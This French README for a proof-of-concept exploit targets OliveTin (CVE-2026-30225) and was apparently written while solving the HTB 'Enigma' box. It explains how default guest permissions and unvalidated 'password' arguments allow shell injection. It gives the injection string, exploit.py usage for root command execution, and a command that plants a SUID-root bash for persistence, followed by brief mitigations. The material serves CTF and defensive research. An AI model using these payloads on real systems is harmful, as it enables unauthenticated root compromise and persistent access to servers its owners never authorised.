
Preuve de concept d'exploitation pour une RCE non authentifiée sur OliveTin (CVE-2026-30225) via des paramètres invités non sécurisés et des types d'arguments non validés, permettant d'obtenir un shell root sur les instances vulnérables.
PoC pour l'élévation de privilèges / l'exécution de code à distance contre des instances OliveTin qui s'exécutent avec les paramètres invités par défaut fournis. Vérifié contre OliveTin 3000.10.0 s'exécutant en tant que root (HTB: Enigma), où cela permet d'obtenir un shell root non authentifié.
⚠️ Tests autorisés uniquement. Publié à des fins éducatives, pour le jeu CTF et la recherche défensive. L'utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de tester est illégal. Aucune garantie. Voir LICENSE.
La configuration d'exemple / par défaut d'OliveTin fournit :
authRequireGuestsToLogin: false
defaultPermissions: { view: true, exec: true, logs: true }
Avec cela, un appelant non authentifié (WhoAmI → "guest") peut invoquer
StartActionAndWait et exécuter n'importe quelle action. Les actions s'exécutent en tant qu'utilisateur du processus OliveTin
— fréquemment root.
internal/executor/arguments.go → TypeSafetyCheck() :
case "password": return nil
case "raw_string_multiline": return nil
case "checkbox": return nil
Ces types ne sont pas validés du tout. Toute action dont le modèle shell:
interpole un tel argument est un vecteur d'injection shell. Sur Enigma, le
/etc/OliveTin/config.yaml actif contient :
- id: backup_database
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
arguments:
- { name: db_user, type: ascii_identifier }
- { name: db_pass, type: password } # <-- non validé, se trouve dans -p'...'
- { name: db_name, type: ascii_identifier }
db_pass = x'; <cmd>; echo __OT_DONE__ # ferme la citation -p'…', enchaîne
<cmd>, et # commente le ' <db_name> > /opt/backups/backup.sql final.
A + B contre un OliveTin root = RCE non authentifié en tant que root.
RestartActionRestartAction reconstruit la requête interne sans transporter les en-têtes/cookies d'authentification
de l'appelant, donc une ré-exécution se résout toujours à l'utilisateur guest (contournement ACL
lorsque guest est plus privilégié que l'appelant). Corrigé dans 3000.11.1.
Sur les builds ≤ 3000.10.x, le gestionnaire est en outre à moitié implémenté (// FIXME)
et transmet un BindingId vide, donc il retourne simplement
action with ID "" not found et ne peut rien ré-exécuter. test-restart
signale ce que la cible fait réellement. Sur Enigma, ce chemin est une opération sans effet — les problèmes
A + B sont ce qui permet l'exécution de code.
requests — pip install -r requirements.txt127.0.0.1:1337 ; tunnel/pivot si
nécessaire — sur Enigma seul l'uid 1000 peut atteindre le port)../exploit.py -u http://127.0.0.1:1337 <mode>
modes:
check identité, liste d'actions, arguments injectables, statut CVE-2026-30225
test-restart sonder uniquement le comportement de RestartAction
exploit --action <id> [--set NAME=VALUE ...] [--inject NAME --quote {single,double,none} --cmd '<cmd>']
global:
--cookie 'olivetin-sid-local=...' agir en tant qu'utilisateur local authentifié (optionnel)
# reconnaissance
./exploit.py -u http://127.0.0.1:1337 check
# HTB Enigma : exécuter une commande en tant que root
./exploit.py -u http://127.0.0.1:1337 exploit \
--action backup_database --set db_user=root --set db_name=x \
--inject db_pass --quote single --cmd 'id; hostname; cat /root/root.txt'
# déposer un bash SUID-root pour un shell persistant
./exploit.py -u http://127.0.0.1:1337 exploit \
--action backup_database --set db_user=root --set db_name=x \
--inject db_pass --quote single --cmd 'cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb'
# puis : /tmp/rb -p
StartActionAndWait retourne la sortie standard de la commande dans logEntry.output, donc la
sortie (drapeau, uid=0(root), …) revient directement dans la réponse.
check liste chaque action visible et signale celles dont les arguments utilisent un
type sans validation. Choisissez-en une, déterminez comment l'argument est cité dans sa
chaîne shell: (--quote single|double|none), puis exploit --inject <arg> --cmd '<payload>'. Les actions non affichées sur un tableau de bord peuvent toujours être exécutées par ID
(--action <id>).
authRequireGuestsToLogin: true et retirer exec des permissions invité/par
défaut ; donner à chaque ACL le minimum dont elle a besoin.user: par action là où c'est pris en charge).type ;
éviter d'interpoler les arguments dans les chaînes shell: — préférer la forme argv exec:
et citer/valider rigoureusement.RestartAction exécute les actions en tant que guestinternal/executor/arguments.go (TypeSafetyCheck), internal/api/api.go (RestartAction, StartAction)Recherche & PoC lors du rooting de HTB: Enigma (www-data → haris → OliveTin → root).